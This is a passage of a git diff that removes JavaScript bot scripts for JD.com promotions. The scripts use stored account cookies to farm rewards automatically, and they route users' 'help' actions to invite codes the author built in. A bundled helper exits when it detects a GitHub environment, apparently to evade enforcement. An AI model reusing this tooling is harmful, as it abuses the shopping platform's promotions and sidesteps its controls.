JSON.parse(data); - if (data['code'] === '0') { - console.log(data['result']['message']) - - } else { - console.log(JSON.stringify(data)) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function buyBox(body) { - return new Promise(resolve => { - $.get(taskUrl("buyBox", body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data['code'] === '0') { - console.log(data['result']['message']) - - } else { - console.log(JSON.stringify(data)) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function openBox(body) { - return new Promise(resolve => { - $.get(taskUrl("openLuckyBox", body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data['code'] === '0') { - $.log(JSON.stringify(data.result.data)) - if(data['result']['data']['jingdouNums']){ - $.beans += parseInt(data['result']['data']['jingdouNums']) - console.log(`获得${data['result']['data']['jingdouNums']}京豆`) - } - } else { - console.log(JSON.stringify(data)) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function taskUrl(function_id, body = {}) { - function getSign(data) { - let t = +new Date() - - return {sealsTs: t, seals: $.md5(`${data.taskId}${data.inviterPin?data.inviterPin:''}${t}Ea6YXT`)} - } - if(body['taskId']) { - body = {...body, ...getSign(body)} - } - - return { - url: `${JD_API_HOST}client.action?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=global_mart`, - headers: { - "Cookie": cookie, - "origin": "https://gmart.jd.com", - "referer": "https://gmart.jd.com/", - 'accept': 'application/json, text/plain, */*', - 'accept-encoding': 'gzip, deflate, br', - 'accept-language': 'zh-cn', - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } -} - -function taskPostUrl(function_id, body = {}, function_id2) { - let url = `${JD_API_HOST}`; - if (function_id2) { - url += `?functionId=${function_id2}`; - } - return { - url, - body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0`, - headers: { - "Cookie": cookie, - "origin": "https://h5.m.jd.com", - "referer": "https://h5.m.jd.com/", - 'Content-Type': 'application/x-www-form-urlencoded', - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} - -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_health.js b/activity/jd_health.js deleted file mode 100644 index 6d52d2a..0000000 --- a/activity/jd_health.js +++ /dev/null @@ -1,399 +0,0 @@ -/* -健康抽奖机 ,活动于2020-12-31日结束 -脚本会给内置的码进行助力 -活动地址:https://h5.m.jd.com/babelDiy/Zeus/3HBUP66Gnx92mRt2bXbT9VamYWSx/index.html -已支持IOS双京东账号,Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -============Quantumultx=============== -[task_local] -#健康抽奖机 -10 0 * * * jd_health.js, tag=健康抽奖机, enabled=true - -================Loon============== -[Script] -cron "10 0 * * *" script-path=jd_health.js,tag=健康抽奖机 - -===============Surge================= -健康抽奖机 = type=cron,cronexp="10 0 * * *",wake-system=1,timeout=3600,script-path=jd_health.js - -============小火箭========= -健康抽奖机 = type=cron,script-path=jd_health.js, cronexpr="10 0 * * *", timeout=3600, enable=true - */ -const $ = new Env('健康抽奖机'); - -const notify = $.isNode() ? require('../sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; -let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 -const randomCount = $.isNode() ? 20 : 5; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://api.m.jd.com/client.action'; -const inviteCodes = [`P04z54XCjVUnoaW5nJcXCCyoR8C6i9QR16e`, 'P04z54XCjVUnoaW5m9cZ2T6jChKkh8FWbFAplQ', `P04z54XCjVUnoaW5u2ak7ZCdan1Bdbpik_F9ud7lznm`, `P04z54XCjVUnoaW5m9cZ2ariXVJwFN5uKHNqnc`]; -!(async () => { - await requireConfig(); - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await shareCodesFormat(); - await jdHealth() - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) -async function jdHealth() { - await helpFriends(); - await jdhealth_getTaskDetail(); - await doTask(); - await jdhealth_getTaskDetail(0); - if($.userInfo.scorePerLottery<=$.userInfo.userScore){ - console.log(`当前用户金币: ${$.userInfo.userScore},抽奖需要${$.userInfo.scorePerLottery},开始抽奖`) - message += `当前用户金币: ${$.userInfo.userScore},抽奖需要${$.userInfo.scorePerLottery},开始抽奖\n` - for(let i=0;i { - if (!jdNotify) { - $.msg($.name, '', `${message}`); - } else { - $.log(`京东账号${$.index}${$.nickName}\n${message}`); - } - if (new Date().getHours() === 23) { - $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); - } - resolve() - }) -} -async function helpFriends() { - for (let code of $.newShareCodes) { - if (!code) continue - const helpRes = await jdhealth_collectScore(code,6,null); - if (helpRes.code === 0 && helpRes.data.bizCode === -7) { - console.log(`助力机会已耗尽,跳出`); - break - } - } -} -async function doTask() { - for (let item of $.taskVos) { - if (item.taskType === 9||item.taskType === 26) { - //逛会场任务 - if (item.status === 1) { - console.log(`准备做此任务:${item.taskName}`) - for (let task of item.shoppingActivityVos) { - if (task.status === 1) { - await jdhealth_collectScore(task.taskToken,item.taskId,task.itemId,1); - await $.wait(15000) - await jdhealth_collectScore(task.taskToken,item.taskId,task.itemId,0); - } - } - } else if(item.status!==4){ - console.log(`${item.taskName}已做完`) - } - } - - if (item.taskType === 21) { - // 会员任务 - if (item.status === 1) { - console.log(`准备做此任务:${item.taskName}`); - for (let task of item.brandMemberVos) { - if (task.status === 1) { - await jdhealth_collectScore(task.taskToken,item.taskId,task.itemId,1); - await jdhealth_collectScore(task.taskToken,item.taskId,task.itemId,0); - } - } - } else if(item.status!==4){ - console.log(`${item.taskName}已做完`) - } - } - } -} - -//领取做完任务的奖励 -function jdhealth_collectScore(taskToken, taskId, itemId, actionType=0) { - return new Promise(resolve => { - let body = { "appId":"1EFRTwg","taskToken":taskToken,"taskId":taskId,"itemId":itemId,"actionType":actionType } - $.post(taskPostUrl("harmony_collectScore", body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if(data.data.bizCode === 1){ - console.log(`任务领取成功`); - message += `任务领取成功\n` - } - else if (data.data.bizCode === 0) { - if(data.data.result.taskType===6){ - console.log(`助力好友:${data.data.result.itemId}成功!`) - message += `助力好友:${data.data.result.itemId}成功!\n` - }else { - console.log(`任务完成成功`); - message += `任务完成成功!\n` - } - - } else { - console.log(`${data.data.bizMsg}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -// 抽奖 -function jdhealth_getLottery() { - return new Promise(resolve => { - let body = { "appId":"1EFRTwg"} - $.post(taskPostUrl("interact_template_getLotteryResult", body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.data.bizCode === 0) { - console.log(`抽奖成功,获得:${JSON.stringify(data.data.result.userAwardsCacheDto)}`); - message+= `抽奖成功,获得:${JSON.stringify(data.data.result.userAwardsCacheDto)}\n` - } else { - console.log(JSON.stringify(data)) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function jdhealth_getTaskDetail(get=1) { - return new Promise(resolve => { - $.post(taskPostUrl("healthyDay_getHomeData", {"appId":"1EFRTwg","taskToken":""}, ), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.data.bizCode === 0) { - $.taskVos = data.data.result.taskVos;//任务列表 - $.userInfo = data.data.result.userInfo; - if(get) - $.taskVos.map(item => { - if (item.taskType === 14) { - console.log(`\n您的${$.name}好友助力邀请码:${item.assistTaskDetailVo.taskToken}\n`) - message += `\n您的${$.name}好友助力邀请码:${item.assistTaskDetailVo.taskToken}\n` - } - }) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function readShareCode() { - console.log(`开始`) - return new Promise(async resolve => { - $.get({url: `http://api.turinglabs.net/api/v1/jd/jdhealth/read/${randomCount}/`}, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) - data = JSON.parse(data); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - // await $.wait(2000); - // resolve() - }) -} -//格式化助力码 -function shareCodesFormat() { - return new Promise(async resolve => { - // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) - $.newShareCodes = []; - if ($.shareCodesArr[$.index - 1]) { - $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); - } else { - console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) - const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); - $.newShareCodes = inviteCodes[tempIndex].split('@'); - } - const readShareCodeRes = null //await readShareCode(); - if (readShareCodeRes && readShareCodeRes.code === 200) { - $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; - } - console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) - resolve(); - }) -} -function requireConfig() { - return new Promise(resolve => { - console.log(`开始获取${$.name}配置文件\n`); - //Node.js用户请在jdCookie.js处填写京东ck; - const shareCodes = [] //$.isNode() ? require('./jdSplitShareCodes.js') : ''; - console.log(`共${cookiesArr.length}个京东账号\n`); - $.shareCodesArr = []; - if ($.isNode()) { - Object.keys(shareCodes).forEach((item) => { - if (shareCodes[item]) { - $.shareCodesArr.push(shareCodes[item]) - } - }) - } - console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); - resolve() - }) -} - -function taskPostUrl(function_id, body = {}, function_id2) { - let url = `${JD_API_HOST}`; - if (function_id2) { - url += `?functionId=${function_id2}`; - } - return { - url, - body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=9.1.0`, - headers: { - "Cookie": cookie, - "origin": "https://h5.m.jd.com", - "referer": "https://h5.m.jd.com/", - 'Content-Type': 'application/x-www-form-urlencoded', - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - } - } -} -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete 